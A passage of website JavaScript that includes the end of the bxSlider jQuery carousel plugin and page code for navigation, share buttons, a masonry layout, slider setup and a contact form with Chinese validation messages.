                overflow: "hidden",
                position: "relative"
            });
            a.viewport.parent().css({
                maxWidth: F()
            });
            a.settings.pager || a.viewport.parent().css({
                margin: "0 auto 0px"
            });
            a.children.css({
                "float": "horizontal" == a.settings.mode ? "left" : "none",
                listStyle: "none",
                position: "relative"
            });
            a.children.css("width", w());
            "horizontal" == a.settings.mode && 0 < a.settings.slideMargin && a.children.css("marginRight", a.settings.slideMargin);
            "vertical" == a.settings.mode && 0 < a.settings.slideMargin && a.children.css("marginBottom", a.settings.slideMargin);
            "fade" == a.settings.mode && (a.children.css({
                position: "absolute",
                zIndex: 0,
                display: "none"
            }),
            a.children.eq(a.settings.startSlide).css({
                zIndex: a.settings.slideZIndex,
                display: "block"
            }));
            a.controls.el = e('<div class="bx-controls" />');
            a.settings.captions && G();
            a.active.last = a.settings.startSlide == g() - 1;
            a.settings.video && c.fitVids();
            var b = a.children.eq(a.settings.startSlide);
            "all" == a.settings.preloadImages && (b = a.children);
            a.settings.ticker ? a.settings.pager = !1 : (a.settings.pager && (a.settings.pagerCustom ? a.pagerEl = e(a.settings.pagerCustom) : (a.pagerEl = e('<div class="bx-pager" />'),
            a.settings.pagerSelector ? e(a.settings.pagerSelector).html(a.pagerEl) : a.controls.el.addClass("bx-has-pager").append(a.pagerEl),
            x()),
            a.pagerEl.on("click", "a", H)),
            a.settings.controls && (a.controls.next = e('<a class="bx-next" href="">' + a.settings.nextText + "</a>"),
            a.controls.prev = e('<a class="bx-prev" href="">' + a.settings.prevText + "</a>"),
            a.controls.next.bind("click", I),
            a.controls.prev.bind("click", J),
            a.settings.nextSelector && e(a.settings.nextSelector).append(a.controls.next),
            a.settings.prevSelector && e(a.settings.prevSelector).append(a.controls.prev),
            a.settings.nextSelector || a.settings.prevSelector || (a.controls.directionEl = e('<div class="bx-controls-direction" />'),
            a.controls.directionEl.append(a.controls.prev).append(a.controls.next),
            a.controls.el.addClass("bx-has-controls-direction").append(a.controls.directionEl))),
            a.settings.auto && a.settings.autoControls && (a.controls.start = e('<div class="bx-controls-auto-item"><a class="bx-start" href="">' + a.settings.startText + "</a></div>"),
            a.controls.stop = e('<div class="bx-controls-auto-item"><a class="bx-stop" href="">' + a.settings.stopText + "</a></div>"),
            a.controls.autoEl = e('<div class="bx-controls-auto" />'),
            a.controls.autoEl.on("click", ".bx-start", K),
            a.controls.autoEl.on("click", ".bx-stop", L),
            a.settings.autoControlsCombine ? a.controls.autoEl.append(a.controls.start) : a.controls.autoEl.append(a.controls.start).append(a.controls.stop),
            a.settings.autoControlsSelector ? e(a.settings.autoControlsSelector).html(a.controls.autoEl) : a.controls.el.addClass("bx-has-controls-auto").append(a.controls.autoEl),
            q(a.settings.autoStart ? "stop" : "start")),
            (a.settings.controls || a.settings.autoControls || a.settings.pager) && a.viewport.after(a.controls.el));
            M(b, N)
        }
          , M = function(a, d) {
            var c = a.find("img, iframe").length;
            if (0 == c)
                d();
            else {
                var f = 0;
                a.find("img, iframe").each(function() {
                    e(this).one("load", function() {
                        ++f == c && d()
                    }).each(function() {
                        this.complete && e(this).load()
                    })
                })
            }
        }
          , N = function() {
            if (a.settings.infiniteLoop && "fade" != a.settings.mode && !a.settings.ticker) {
                var b = "vertical" == a.settings.mode ? a.settings.minSlides : a.settings.maxSlides
                  , d = a.children.slice(0, b).clone().addClass("bx-clone")
                  , b = a.children.slice(-b).clone().addClass("bx-clone");
                c.append(d).prepend(b)
            }
            a.loader.remove();
            y();
            "vertical" == a.settings.mode && (a.settings.adaptiveHeight = !0);
            a.viewport.height(n());
            c.redrawSlider();
            a.settings.onSliderLoad(a.active.index);
            a.initialized = !0;
            a.settings.responsive && e(window).bind("resize", z);
            a.settings.auto && a.settings.autoStart && (1 < g() || a.settings.autoSlideForOnePage) && O();
            a.settings.ticker && P();
            a.settings.pager && r(a.settings.startSlide);
            a.settings.controls && A();
            a.settings.touchEnabled && !a.settings.ticker && (a.touch = {
                start: {
                    x: 0,
                    y: 0
                },
                end: {
                    x: 0,
                    y: 0
                }
            },
            a.viewport.bind("touchstart", Q))
        }
          , n = function() {
            var b = 0
              , d = e();
            if ("vertical" == a.settings.mode || a.settings.adaptiveHeight)
                if (a.carousel) {
                    var c = 1 == a.settings.moveSlides ? a.active.index : a.active.index * m()
                      , d = a.children.eq(c);
                    for (i = 1; i <= a.settings.maxSlides - 1; i++)
                        d = c + i >= a.children.length ? d.add(a.children.eq(i - 1)) : d.add(a.children.eq(c + i))
                } else
                    d = a.children.eq(a.active.index);
            else
                d = a.children;
            "vertical" == a.settings.mode ? (d.each(function(a) {
                b += e(this).outerHeight()
            }),
            0 < a.settings.slideMargin && (b += a.settings.slideMargin * (a.settings.minSlides - 1))) : b = Math.max.apply(Math, d.map(function() {
                return e(this).outerHeight(!1)
            }).get());
            "border-box" == a.viewport.css("box-sizing") ? b += parseFloat(a.viewport.css("padding-top")) + parseFloat(a.viewport.css("padding-bottom")) + parseFloat(a.viewport.css("border-top-width")) + parseFloat(a.viewport.css("border-bottom-width")) : "padding-box" == a.viewport.css("box-sizing") && (b += parseFloat(a.viewport.css("padding-top")) + parseFloat(a.viewport.css("padding-bottom")));
            return b
        }
          , F = function() {
            var b = "100%";
            0 < a.settings.slideWidth && (b = "horizontal" == a.settings.mode ? a.settings.maxSlides * a.settings.slideWidth + (a.settings.maxSlides - 1) * a.settings.slideMargin : a.settings.slideWidth);
            return b
        }
          , w = function() {
            var b = a.settings.slideWidth
              , d = a.viewport.width();
            0 == a.settings.slideWidth || a.settings.slideWidth > d && !a.carousel || "vertical" == a.settings.mode ? b = d : 1 < a.settings.maxSlides && "horizontal" == a.settings.mode && !(d > a.maxThreshold) && d < a.minThreshold && (b = (d - a.settings.slideMargin * (a.settings.minSlides - 1)) / a.settings.minSlides);
            return b
        }
          , k = function() {
            var b = 1;
            "horizontal" == a.settings.mode && 0 < a.settings.slideWidth ? a.viewport.width() < a.minThreshold ? b = a.settings.minSlides : a.viewport.width() > a.maxThreshold ? b = a.settings.maxSlides : (b = a.children.first().width() + a.settings.slideMargin,
            b = Math.floor((a.viewport.width() + a.settings.slideMargin) / b)) : "vertical" == a.settings.mode && (b = a.settings.minSlides);
            return b
        }
          , g = function() {
            var b = 0;
            if (0 < a.settings.moveSlides)
                if (a.settings.infiniteLoop)
                    b = Math.ceil(a.children.length / m());
                else
                    for (var d = 0, c = 0; d < a.children.length; )
                        ++b,
                        d = c + k(),
                        c += a.settings.moveSlides <= k() ? a.settings.moveSlides : k();
            else
                b = Math.ceil(a.children.length / k());
            return b
        }
          , m = function() {
            return 0 < a.settings.moveSlides && a.settings.moveSlides <= k() ? a.settings.moveSlides : k()
        }
          , y = function() {
            if (a.children.length > a.settings.maxSlides && a.active.last && !a.settings.infiniteLoop)
                if ("horizontal" == a.settings.mode) {
                    var b = a.children.last()
                      , d = b.position();
                    h(-(d.left - (a.viewport.width() - b.outerWidth())), "reset", 0)
                } else
                    "vertical" == a.settings.mode && (d = a.children.eq(a.children.length - a.settings.minSlides).position(),
                    h(-d.top, "reset", 0));
            else
                d = a.children.eq(a.active.index * m()).position(),
                a.active.index == g() - 1 && (a.active.last = !0),
                void 0 != d && ("horizontal" == a.settings.mode ? h(-d.left, "reset", 0) : "vertical" == a.settings.mode && h(-d.top, "reset", 0))
        }
          , h = function(b, d, e, f) {
            if (a.usingCSS)
                b = "vertical" == a.settings.mode ? "translate3d(0, " + b + "px, 0)" : "translate3d(" + b + "px, 0, 0)",
                c.css("-" + a.cssPrefix + "-transition-duration", e / 1E3 + "s"),
                "slide" == d ? (c.css(a.animProp, b),
                c.bind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd", function() {
                    c.unbind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd");
                    s()
                })) : "reset" == d ? c.css(a.animProp, b) : "ticker" == d && (c.css("-" + a.cssPrefix + "-transition-timing-function", "linear"),
                c.css(a.animProp, b),
                c.bind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd", function() {
                    c.unbind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd");
                    h(f.resetValue, "reset", 0);
                    l()
                }));
            else {
                var g = {};
                g[a.animProp] = b;
                "slide" == d ? c.animate(g, e, a.settings.easing, function() {
                    s()
                }) : "reset" == d ? c.css(a.animProp, b) : "ticker" == d && c.animate(g, speed, "linear", function() {
                    h(f.resetValue, "reset", 0);
                    l()
                })
            }
        }
          , x = function() {
            for (var b = "", d = g(), c = 0; c < d; c++) {
                var f = "";
                a.settings.buildPager && e.isFunction(a.settings.buildPager) ? (f = a.settings.buildPager(c),
                a.pagerEl.addClass("bx-custom-pager")) : (f = c + 1,
                a.pagerEl.addClass("bx-default-pager"));
                b += '<div class="bx-pager-item"><a href="" data-slide-index="' + c + '" class="bx-pager-link">' + f + "</a></div>"
            }
            a.pagerEl.html(b)
        }
          , G = function() {
            a.children.each(function(a) {
                a = e(this).find("img:first").attr("title");
                void 0 != a && ("" + a).length && e(this).append('<div class="bx-caption"><span>' + a + "</span></div>")
            })
        }
          , I = function(b) {
            a.settings.auto && c.stopAuto();
            c.goToNextSlide();
            b.preventDefault()
        }
          , J = function(b) {
            a.settings.auto && c.stopAuto();
            c.goToPrevSlide();
            b.preventDefault()
        }
          , K = function(a) {
            c.startAuto();
            a.preventDefault()
        }
          , L = function(a) {
            c.stopAuto();
            a.preventDefault()
        }
          , H = function(b) {
            a.settings.auto && c.stopAuto();
            var d = e(b.currentTarget);
            void 0 !== d.attr("data-slide-index") && (d = parseInt(d.attr("data-slide-index")),
            d != a.active.index && c.goToSlide(d),
            b.preventDefault())
        }
          , r = function(b) {
            var c = a.children.length;
            "short" == a.settings.pagerType ? (1 < a.settings.maxSlides && (c = Math.ceil(a.children.length / a.settings.maxSlides)),
            a.pagerEl.html(b + 1 + a.settings.pagerShortSeparator + c)) : (a.pagerEl.find("a").removeClass("active"),
            a.pagerEl.each(function(a, c) {
                e(c).find("a").eq(b).addClass("active")
            }))
        }
          , s = function() {
            if (a.settings.infiniteLoop) {
                var b = "";
                0 == a.active.index ? b = a.children.eq(0).position() : a.active.index == g() - 1 && a.carousel ? b = a.children.eq((g() - 1) * m()).position() : a.active.index == a.children.length - 1 && (b = a.children.eq(a.children.length - 1).position());
                b && ("horizontal" == a.settings.mode ? h(-b.left, "reset", 0) : "vertical" == a.settings.mode && h(-b.top, "reset", 0))
            }
            a.working = !1;
            a.settings.onSlideAfter(a.children.eq(a.active.index), a.oldIndex, a.active.index)
        }
          , q = function(b) {
            a.settings.autoControlsCombine ? a.controls.autoEl.html(a.controls[b]) : (a.controls.autoEl.find("a").removeClass("active"),
            a.controls.autoEl.find("a:not(.bx-" + b + ")").addClass("active"))
        }
          , A = function() {
            1 == g() ? (a.controls.prev.addClass("disabled"),
            a.controls.next.addClass("disabled")) : !a.settings.infiniteLoop && a.settings.hideControlOnEnd && (0 == a.active.index ? (a.controls.prev.addClass("disabled"),
            a.controls.next.removeClass("disabled")) : a.active.index == g() - 1 ? (a.controls.next.addClass("disabled"),
            a.controls.prev.removeClass("disabled")) : (a.controls.prev.removeClass("disabled"),
            a.controls.next.removeClass("disabled")))
        }
          , O = function() {
            0 < a.settings.autoDelay ? setTimeout(c.startAuto, a.settings.autoDelay) : c.startAuto();
            a.settings.autoHover && c.hover(function() {
                a.interval && (c.stopAuto(!0),
                a.autoPaused = !0)
            }, function() {
                a.autoPaused && (c.startAuto(!0),
                a.autoPaused = null)
            })
        }
          , P = function() {
            var b = 0;
            "next" == a.settings.autoDirection ? c.append(a.children.clone().addClass("bx-clone")) : (c.prepend(a.children.clone().addClass("bx-clone")),
            b = a.children.first().position(),
            b = "horizontal" == a.settings.mode ? -b.left : -b.top);
            h(b, "reset", 0);
            a.settings.pager = !1;
            a.settings.controls = !1;
            a.settings.autoControls = !1;
            a.settings.tickerHover && !a.usingCSS && a.viewport.hover(function() {
                c.stop()
            }, function() {
                var b = 0;
                a.children.each(function(c) {
                    b += "horizontal" == a.settings.mode ? e(this).outerWidth(!0) : e(this).outerHeight(!0)
                });
                var g = a.settings.speed / b * (b - Math.abs(parseInt(c.css("horizontal" == a.settings.mode ? "left" : "top"))));
                l(g)
            });
            l()
        }
          , l = function(b) {
            speed = b ? b : a.settings.speed;
            b = {
                left: 0,
                top: 0
            };
            var d = {
                left: 0,
                top: 0
            };
            "next" == a.settings.autoDirection ? b = c.find(".bx-clone").first().position() : d = a.children.first().position();
            h("horizontal" == a.settings.mode ? -b.left : -b.top, "ticker", speed, {
                resetValue: "horizontal" == a.settings.mode ? -d.left : -d.top
            })
        }
          , Q = function(b) {
            a.working ? b.preventDefault() : (a.touch.originalPos = c.position(),
            b = b.originalEvent,
            a.touch.start.x = b.changedTouches[0].pageX,
            a.touch.start.y = b.changedTouches[0].pageY,
            a.viewport.bind("touchmove", B),
            a.viewport.bind("touchend", C))
        }
          , B = function(b) {
            var c = b.originalEvent
              , e = Math.abs(c.changedTouches[0].pageX - a.touch.start.x)
              , f = Math.abs(c.changedTouches[0].pageY - a.touch.start.y);
            3 * e > f && a.settings.preventDefaultSwipeX ? b.preventDefault() : 3 * f > e && a.settings.preventDefaultSwipeY && b.preventDefault();
            "fade" != a.settings.mode && a.settings.oneToOneTouch && (b = 0,
            "horizontal" == a.settings.mode ? (c = c.changedTouches[0].pageX - a.touch.start.x,
            b = a.touch.originalPos.left + c) : (c = c.changedTouches[0].pageY - a.touch.start.y,
            b = a.touch.originalPos.top + c),
            h(b, "reset", 0))
        }
          , C = function(b) {
            a.viewport.unbind("touchmove", B);
            var d = b.originalEvent;
            b = 0;
            a.touch.end.x = d.changedTouches[0].pageX;
            a.touch.end.y = d.changedTouches[0].pageY;
            "fade" == a.settings.mode ? (d = Math.abs(a.touch.start.x - a.touch.end.x),
            d >= a.settings.swipeThreshold && (a.touch.start.x > a.touch.end.x ? c.goToNextSlide() : c.goToPrevSlide(),
            c.stopAuto())) : ("horizontal" == a.settings.mode ? (d = a.touch.end.x - a.touch.start.x,
            b = a.touch.originalPos.left) : (d = a.touch.end.y - a.touch.start.y,
            b = a.touch.originalPos.top),
            !a.settings.infiniteLoop && (0 == a.active.index && 0 < d || a.active.last && 0 > d) ? h(b, "reset", 200) : Math.abs(d) >= a.settings.swipeThreshold ? (0 > d ? c.goToNextSlide() : c.goToPrevSlide(),
            c.stopAuto()) : h(b, "reset", 200));
            a.viewport.unbind("touchend", C)
        }
          , z = function(b) {
            if (a.initialized) {
                b = e(window).width();
                var d = e(window).height();
                if (t != b || u != d)
                    t = b,
                    u = d,
                    c.redrawSlider(),
                    a.settings.onSliderResize.call(c, a.active.index)
            }
        };
        c.goToSlide = function(b, d) {
            if (!a.working && a.active.index != b) {
                a.working = !0;
                a.oldIndex = a.active.index;
                0 > b ? a.active.index = g() - 1 : b >= g() ? a.active.index = 0 : a.active.index = b;
                a.settings.onSlideBefore(a.children.eq(a.active.index), a.oldIndex, a.active.index);
                if ("next" == d)
                    a.settings.onSlideNext(a.children.eq(a.active.index), a.oldIndex, a.active.index);
                else if ("prev" == d)
                    a.settings.onSlidePrev(a.children.eq(a.active.index), a.oldIndex, a.active.index);
                a.active.last = a.active.index >= g() - 1;
                a.settings.pager && r(a.active.index);
                a.settings.controls && A();
                if ("fade" == a.settings.mode)
                    a.settings.adaptiveHeight && a.viewport.height() != n() && a.viewport.animate({
                        height: n()
                    }, a.settings.adaptiveHeightSpeed),
                    a.children.filter(":visible").fadeOut(a.settings.speed).css({
                        zIndex: 0
                    }),
                    a.children.eq(a.active.index).css("zIndex", a.settings.slideZIndex + 1).fadeIn(a.settings.speed, function() {
                        e(this).css("zIndex", a.settings.slideZIndex);
                        s()
                    });
                else {
                    a.settings.adaptiveHeight && a.viewport.height() != n() && a.viewport.animate({
                        height: n()
                    }, a.settings.adaptiveHeightSpeed);
                    var k = 0
                      , f = {
                        left: 0,
                        top: 0
                    };
                    if (!a.settings.infiniteLoop && a.carousel && a.active.last)
                        if ("horizontal" == a.settings.mode)
                            var l = a.children.eq(a.children.length - 1)
                              , f = l.position()
                              , k = a.viewport.width() - l.outerWidth();
                        else
                            f = a.children.eq(a.children.length - a.settings.minSlides).position();
                    else
                        a.carousel && a.active.last && "prev" == d ? (f = 1 == a.settings.moveSlides ? a.settings.maxSlides - m() : (g() - 1) * m() - (a.children.length - a.settings.maxSlides),
                        l = c.children(".bx-clone").eq(f),
                        f = l.position()) : "next" == d && 0 == a.active.index ? (f = c.find("> .bx-clone").eq(a.settings.maxSlides).position(),
                        a.active.last = !1) : 0 <= b && (f = b * m(),
                        f = a.children.eq(f).position());
                    "undefined" !== typeof f && h("horizontal" == a.settings.mode ? -(f.left - k) : -f.top, "slide", a.settings.speed)
                }
            }
        }
        ;
        c.goToNextSlide = function() {
            if (a.settings.infiniteLoop || !a.active.last) {
                var b = parseInt(a.active.index) + 1;
                c.goToSlide(b, "next")
            }
        }
        ;
        c.goToPrevSlide = function() {
            if (a.settings.infiniteLoop || 0 != a.active.index) {
                var b = parseInt(a.active.index) - 1;
                c.goToSlide(b, "prev")
            }
        }
        ;
        c.startAuto = function(b) {
            a.interval || (a.interval = setInterval(function() {
                "next" == a.settings.autoDirection ? c.goToNextSlide() : c.goToPrevSlide()
            }, a.settings.pause),
            a.settings.autoControls && !0 != b && q("stop"))
        }
        ;
        c.stopAuto = function(b) {
            a.interval && (clearInterval(a.interval),
            a.interval = null,
            a.settings.autoControls && !0 != b && q("start"))
        }
        ;
        c.getCurrentSlide = function() {
            return a.active.index
        }
        ;
        c.getCurrentSlideElement = function() {
            return a.children.eq(a.active.index)
        }
        ;
        c.getSlideCount = function() {
            return a.children.length
        }
        ;
        c.redrawSlider = function() {
            a.children.add(c.find(".bx-clone")).width(w());
            a.viewport.css("height", n());
            a.settings.ticker || y();
            a.active.last && (a.active.index = g() - 1);
            a.active.index >= g() && (a.active.last = !0);
            a.settings.pager && !a.settings.pagerCustom && (x(),
            r(a.active.index))
        }
        ;
        c.destroySlider = function() {
            a.initialized && (a.initialized = !1,
            e(".bx-clone", this).remove(),
            a.children.each(function() {
                void 0 != e(this).data("origStyle") ? e(this).attr("style", e(this).data("origStyle")) : e(this).removeAttr("style")
            }),
            void 0 != e(this).data("origStyle") ? this.attr("style", e(this).data("origStyle")) : e(this).removeAttr("style"),
            e(this).unwrap().unwrap(),
            a.controls.el && a.controls.el.remove(),
            a.controls.next && a.controls.next.remove(),
            a.controls.prev && a.controls.prev.remove(),
            a.pagerEl && a.settings.controls && a.pagerEl.remove(),
            e(".bx-caption", this).remove(),
            a.controls.autoEl && a.controls.autoEl.remove(),
            clearInterval(a.interval),
            a.settings.responsive && e(window).unbind("resize", z))
        }
        ;
        c.reloadSlider = function(a) {
            void 0 != a && (p = a);
            c.destroySlider();
            v()
        }
        ;
        v();
        /*c.slider=a;*/
        return this
    }
}
)(jQuery);

var __extends = (this && this.__extends) || function(d, b) {
    for (var p in b)
        if (b.hasOwnProperty(p))
            d[p] = b[p];
    function __() {
        this.constructor = d;
    }
    __.prototype = b.prototype;
    d.prototype = new __();
}
;
if (!Function.prototype.bind) {
    Function.prototype.bind = function(oThis) {
        if (typeof this !== "function") {
            // closest thing possible to the ECMAScript 5 internal IsCallable function
            throw new TypeError("Function.prototype.bind - what is trying to be bound is not callable");
        }
        var aArgs = Array.prototype.slice.call(arguments, 1)
          , fToBind = this
          , fNOP = function() {}
          , fBound = function() {
            return fToBind.apply(this instanceof fNOP && oThis ? this : oThis || window, aArgs.concat(Array.prototype.slice.call(arguments)));
        };
        fNOP.prototype = this.prototype;
        fBound.prototype = new fNOP();
        return fBound;
    }
    ;
}

var DEBUG = 0;
function trace() {
    if (DEBUG) {
        if (window.console) {
            console.log.apply(window.console, arguments);
        } else {
            for (var i = 0; i < arguments.length; i++)
                alert(arguments[i]);
        }
    }
}
;var lowB = 0;
/*!+[1,]*/
if (!$.support.leadingWhitespace || /(Mobile)/i.test(navigator.userAgent)) {
    $('html').addClass('lowB');
    lowB = 1;
}

var YY = {
    components: {},
    Page: {}
};

YY.Page.baseMain = function() {
    // __r__();
    //$.getScript("http://");
    this.headerHeight = 0;
    this.bodyPusher = $("#headSHBtn:visible").length;

    if (this.bodyPusher) {
        this.setBodyPusher();
    } else {
        $("#nav .navitem .subnav").each(function(index, element) {
            $(element).parent().on("mouseenter", function() {
                $(element).css({
                    "top": $(this).outerHeight() - 2,
                    "left": ($(this).outerWidth() - $(".subnav", this).width()) / 2
                });
            });
        });
    }

    this.shareInit();
    if ($("#online_open").length) {
        this.onlineInit();
    }
    if (!lowB) {
        $('[animation_hover]').hover(function() {
            $(this).addClass($(this).attr('animation_hover'));
        }, function() {
            $(this).removeClass($(this).attr('animation_hover'));
        });
        this.headerHeight = $("#header").outerHeight();
        //new WOW().init();
    }
    $(window).on("scroll.base", this.onScrollBase.bind(this));

    $(window).scroll();
    //.resize();
    $('a[target="_blank"]').on("click", function(event) {
        $(this).blur();
    });
    this.layoutInit();

    this.wowInit();

    //new YY.components.statistics();
}
;
$.extend(YY.Page.baseMain.prototype, {
    wowInit: function() {
        this.wow = new WOW();
        this.wow.init();
    },
    layoutInit: function() {
        if ($("#mproject").length) {
            if ($("#mproject .content.layoutmasonry").length) {
                this.layoutMasonry($("#mproject"));
            }
        } else if ($("#mservice").length) {
            if ($("#mservice .content.layoutmasonry").length) {
                this.layoutMasonry($("#mservice"));
            }
        } else if ($("#mnews").length) {
            if ($("#mnews .content.layoutmasonry").length) {
                this.layoutMasonry($("#mnews"));
            }
        } else if ($("#mteam").length) {
            if ($("#mteam .content.layoutmasonry").length) {
                this.layoutMasonry($("#mteam"));
            }
        }
    },
    layoutMasonry: function($element) {
        var $item = $(".content_list > li", $element);
        var itemLength = $item.length;

        if (itemLength) {
            var $mcontent = $(".module-content", $element)

            var $list = $(".content_list", $mcontent);

            var itemNum = $list.data("options-sliders") || 1;
            var itemMargin = $list.data("options-margin") || 0;
            ;var itemWidth = parseInt(($(".wrapper", $mcontent).width() - itemMargin * (itemNum - 1)) / itemNum);

            $item.width(itemWidth);

            $list.imagesLoaded(function() {

                $list.masonry({
                    itemSelector: $item,
                    isFitWidth: 1,
                    gutterWidth: itemMargin
                });
            });
        }
        ;
    },
    shareWeixin: function(str) {
        var cacheStr = String($("#qrcode").data('qrcode'));
        if (cacheStr == str)
            return;
        if (this.wxQrcode) {
            this.wxQrcode.clear();
            this.wxQrcode.makeCode(str);
        } else {
            this.wxQrcode = new QRCode($("#qrcode")[0],{
                text: str,
                width: 220,
                height: 220
            });
        }
        $("#qrcode").data('qrcode', str);

    },
    shareInit: function() {
        var data = {
            "title": document.title,
            "url": document.location.href
        };
        $("#fixed_weixin").on("click", function(event) {
            if (event.target == this) {
                $(this).removeClass("show");
            }
        });
        $("#sweibo").attr("href", $("#sweibo").attr("href") + $.param(data));
        $("#sweixin").on("click", function(event) {
            $("#fixed_weixin").addClass("show");
            this.shareWeixin(data.url);
        }
        .bind(this));
        $("#gotop").on("click", function(event) {
            $("html,body").animate({
                "scrollTop": 0
            }, 300);
        });
    },
    onlineInit: function() {
        var isAnimate = false;
        $("#online_open").on("click", function(event) {
            if (isAnimate)
                return;
            isAnimate = true;
            $("#online_open").animate({
                "right": -40
            }, 200, "easeOutExpo", function() {
                $("#online_lx").animate({
                    "right": 10
                }, 600, "easeOutExpo", function() {
                    isAnimate = false;
                });
            });
            if (window.localStorage) {
                window.localStorage.setItem('onlineStatus', "open");
            }
        });
        $("#online_close").on("click", function() {
            if (isAnimate)
                return;
            isAnimate = true;
            $("#online_lx").animate({
                "right": -200
            }, 400, "easeOutExpo", function() {
                $("#online_open").animate({
                    "right": 10
                }, 200, "easeOutExpo", function() {
                    isAnimate = false;
                });
            });
            if (window.localStorage) {
                window.localStorage.setItem('onlineStatus', "close");
            }
        });
        if (window.localStorage) {
            var onlineStatus = window.localStorage.getItem('onlineStatus');
            if (onlineStatus == "close") {
                $("#online_open").css("right", 10);
                $("#online_lx").css("right", -200);
            }
        }
    },
    onScrollBase: function(event) {
        var sT = $(window).scrollTop();
        if (!lowB && !this.bodyPusher) {
            if (sT > this.headerHeight) {
                if (!$("#header").hasClass('mini'))
                    $("#header").addClass('mini');

            } else {
                if ($("#header").hasClass('mini'))
                    $("#header").removeClass('mini');
            }
        }
        if (sT) {
            if ($("#gotop").css("display") != "block")
                $("#gotop").css("display", "block");

        } else {
            if ($("#gotop").css("display") != "none")
                $("#gotop").css("display", "none");
        }
    },
    setBodyPusher: function() {
        var $logo = $("#logo").clone();
        var $logoClone = $('<div id="logoClone"></div>').append($logo);

        $("body").addClass("ipusher").prepend($logoClone);

        $("#headSHBtn").on("click", function() {
            $("body").toggleClass("open");
        });
    }
});

YY.Page.indexMain = function() {
    this.__super = YY.Page.baseMain.prototype;
    YY.Page.baseMain.call(this);

    this.currentModuleIndex = 0;
    this.totalModule = $(".module").length;
    this.pageWidth = 0;
    this.pageHeight = 0;
    var _this = this;

    this._singleScreen = false;
    this.scrollContainer = {};

    if ($("#mindex").length) {
        if ($("#mindex").data("options-sscreen") == 1) {
            this._singleScreen = {};
            this._singleScreen.speed = $("#mindex").data("options-speed") || 1;
            var _ease = $("#mindex").data("options-ease");
            if (_ease) {
                _ease = _ease.split(".");
                this._singleScreen.ease = window[_ease[0]][_ease[1]];
            } else {
                this._singleScreen.ease = Expo.easeInOut;
            }
        }
        $("#mindex").remove();
    } else {
        this._singleScreen = {
            speed: 1,
            ease: Expo.easeInOut
        };
    }

    if (this._singleScreen) {
        if (!this.bodyPusher)
            $("#header").addClass('mini');

        $("#footer").addClass('mini');
        $("#sitecontent").css({
            "height": "100%",
            "min-height": "100%",
            "overflow": "hidden"
        });

        var moduleTitle = "";
        this.$control = $('<div id="moduleControl" style="display:none"></div>').appendTo('body');
        for (var i = 0; i < this.totalModule; i++) {
            moduleTitle = $(".content > .header > .title", $(".module").eq(i)).text();
            this.$control.append('<a title="' + moduleTitle + '" href="javascript:;" id="moduleCItem_' + i + '" class="moduleCItem"><span>' + moduleTitle + '</span></a>');
        }

        this.$control.on("click", ".moduleCItem", function(event) {
            if (!$(this).hasClass('active')) {
                _this.gotoPage($(this).index());
            }
        });
    }

    $(window).on("resize.index", this.onResizeIndex.bind(this));

    this.onResizeIndex();

    if ($("#mslider .slider > li").length) {
        var options = {
            slideZIndex: 1,
            nextText: '<i class="iconfont icon-right"></i>',
            prevText: '<i class="iconfont icon-left"></i>',
            onSliderLoad: function() {
                if ($("#mslider .slider li.active").find('video')[0]) {
                    $("#mslider .slider li.active").find('video')[0].play()
                }
            },
            onSlideBefore: function($slideElement, from, to) {
                if ($slideElement.find('video')[0]) {
                    $slideElement.find('video')[0].play()
                }
            },
            onSlideAfter: function($slideElement, oldIndex, newIndex) {
                $("#mslider .slider li.active").removeClass('active');
                $slideElement.addClass('active');
            }
        };
        var $slider = $("#mslider .slider");

        if (!this._singleScreen) {
            var sliderHeight = parseInt(String($slider.data("options-height")));
            if (sliderHeight)
                $("#mslider,#mslider ul li").height(sliderHeight);
        }

        options['auto'] = parseInt(String($slider.data("options-auto")));
        options['mode'] = ['horizontal', "fade"][parseInt(String($slider.data("options-mode")))];
        options['pause'] = parseInt(String($slider.data("options-pause"))) * 1000;
        options['easing'] = String($slider.data("options-ease"));
        $slider.bxSlider(options);
    }

    this.layoutIndexInit();

    if ($("#mcontact").length) {
        var $mpbtn = $("#mpbtn");
        if ($mpbtn.length) {
            var $fixed_mp = $('<div class="fixed" id="fixed_mp"><div class="fixed-container"><img src="' + $mpbtn.attr('href') + '"><p>微信扫一扫</p></div></div>');
            $fixed_mp.appendTo("body");
            $fixed_mp.on("click", function(event) {
                if (event.target == this) {
                    $(this).removeClass("show");
                }
            });
            $("#mpbtn").on("click", function(event) {
                $fixed_mp.addClass("show");
                return false;
            });
        }
        var $_netmask = $('<div class="netmask fixed loading"><div><i class="fa fa-check-circle"></i></div></div>');
        $("#contactform form").submit(function(event) {
            var $form = this;
            var postObj = {
                name: "",
                email: "",
                tel: "",
                content: ""
            };
            postObj.name = $.trim($("input[name='name']", $form).val());
            if (!postObj.name) {
                alert("姓名不能为空");
                return false;
            }
            ;postObj.email = $.trim($("input[name='email']", $form).val());
            if (!postObj.email) {
                alert("邮箱不能为空");
                return false;
            }
            ;if (!/^[\w\.\-\+]+@([\w\-]+\.)+[a-z]{2,4}$/i.test(postObj.email)) {
                alert('邮箱格式不正确');
                return false;
            }
            ;postObj.tel = $.trim($("input[name='tel']", $form).val());
            if (!postObj.tel) {
                alert("电话不能为空");
                return false;
            }
            ;postObj.content = $.trim($("textarea[name='content']", $form).val());
            if (!postObj.content) {
                alert("内容不能为空");
                return false;
            }
            ;$_netmask.appendTo("body");
            $.post($($form).attr("action"), postObj, function(data, textStatus, xhr) {
                if (data == "0") {
                    $(".inputtxt", $form).val('');
                    $_netmask.removeClass('loading').addClass('success');
                    setTimeout(function(argument) {
                        $_netmask.remove();
                    }, 1000);
                } else {
                    $_netmask.remove();
                }
            });
            $(".inputsub", $form).blur();
            return false;
        });
    }

    this.wow = new WOW();

    if (this._singleScreen) {
        $(window).on("mousewheel", this.onMouseWheelIndex.bind(this));
        this.wow.config.scrollContainer = this.scrollContainer;
    } else {
        $(window).on("scroll", this.onScrollIndex.bind(this));
    }

    this.wow.init();
}
;

__extends(YY.Page.indexMain, YY.Page.baseMain);

$.extend(YY.Page.indexMain.prototype, {
    wowInit: function() {},
    layoutInit: function() {},
    layoutIndexInit: function() {
        if ($("#mproject").length) {
            if ($("#mproject .content.layoutslider").length) {
                this.layoutSlider($("#mproject"), {
                    sliders: 4,
                    mode: "horizontal"
                });
            } else if ($("#mproject .content.layoutmasonry").length) {
                this.layoutMasonry($("#mproject"));
            }
        }
